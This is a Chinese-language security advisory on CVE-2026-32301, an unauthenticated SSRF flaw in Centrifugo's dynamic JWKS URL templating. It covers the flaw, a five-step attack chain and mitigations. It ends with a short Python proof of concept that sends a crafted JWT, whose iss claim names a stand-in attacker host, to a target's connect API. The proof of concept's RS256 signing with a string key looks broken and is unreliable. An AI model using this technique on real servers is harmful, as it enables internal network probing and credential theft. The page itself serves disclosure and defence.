CVE-2026-32301 CVSS 9.3 严重

CVE-2026-32301 Centrifugo JWKS动态端点SSRF漏洞

披露日期: 2026-03-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-32301

漏洞类型

服务器端请求伪造(SSRF)

CVSS评分

9.3 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Centrifugo

漏洞概述

Centrifugo是一款开源可扩展的实时消息服务器。在6.7.0之前的版本中，当使用模板变量（如{{tenant}}）配置动态JWKS端点URL时，存在服务器端请求伪造（SSRF）漏洞。未认证的攻击者可以构造恶意的JWT令牌，利用iss或aud声明值在令牌签名验证之前被插入到JWKS获取URL中，从而诱导Centrifugo向攻击者控制的目标服务器发起HTTP请求。该漏洞可能导致内网服务被探测、敏感数据泄露或作为进一步攻击的跳板。攻击者无需任何认证即可利用此漏洞，在网络可达的情况下可远程触发。

技术细节

漏洞根源在于Centrifugo的JWT验证流程设计缺陷。当配置文件中指定动态JWKS端点时，系统会先将JWT声明中的iss或aud值进行模板变量替换，然后才执行签名验证。具体流程为：1) 攻击者构造包含恶意iss/aud值的JWT（如将值设为内网IP或恶意域名）；2) Centrifugo接收JWT后，提取iss/aud字段并进行变量替换；3) 替换后的URL被用于发起HTTP请求以获取公钥；4) 由于签名验证发生在URL请求之后，攻击者可以在签名验证前控制服务器请求的目标地址。攻击者可通过该方式探测内网服务、读取云元数据或建立隐蔽通道。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标Centrifugo服务器版本，确认是否低于6.7.0，并检查是否配置了动态JWKS端点URL

STEP 2

步骤2: 构造恶意JWT

攻击者构造包含恶意iss或aud声明值的JWT令牌，将值设为攻击者控制的目标地址（如内网IP、云元数据端点或外部服务器）

STEP 3

步骤3: 触发JWKS请求

攻击者向Centrifugo服务器发送认证请求（如connect API调用），提交构造的恶意JWT

STEP 4

步骤4: SSRF请求触发

Centrifugo在验证签名前，先将JWT声明值进行模板替换，然后向替换后的URL发起HTTP请求获取公钥

STEP 5

步骤5: 数据窃取或内网探测

攻击者接收到来自Centrifugo服务器的请求，可获取内网信息、云服务凭据或建立持久访问通道

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Conceptual PoC - JWT with malicious iss claim
# Note: This is for educational/security research purposes only

import jwt
import requests

# Example JWT structure demonstrating the attack vector
# The 'iss' field contains a malicious URL that will be interpolated
malicious_token = jwt.encode(
    {
        'iss': 'http://attacker-controlled-server.com/.well-known/jwks.json',
        'aud': '{{internal_service}}',
        'exp': 9999999999,
        'sub': 'test'
    },
    'dummy_key',
    algorithm='RS256'
)

# The server will make a request to the attacker-controlled URL
# before validating the token signature
response = requests.post(
    'https://target-centrifugo-server/api/connect',
    json={'token': malicious_token}
)

影响范围

Centrifugo < 6.7.0

防御指南

临时缓解措施

如果无法立即升级，可暂时禁用动态JWKS端点配置，改用固定URL。同时实施网络层过滤，限制Centrifugo服务仅能访问必要的外部资源。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表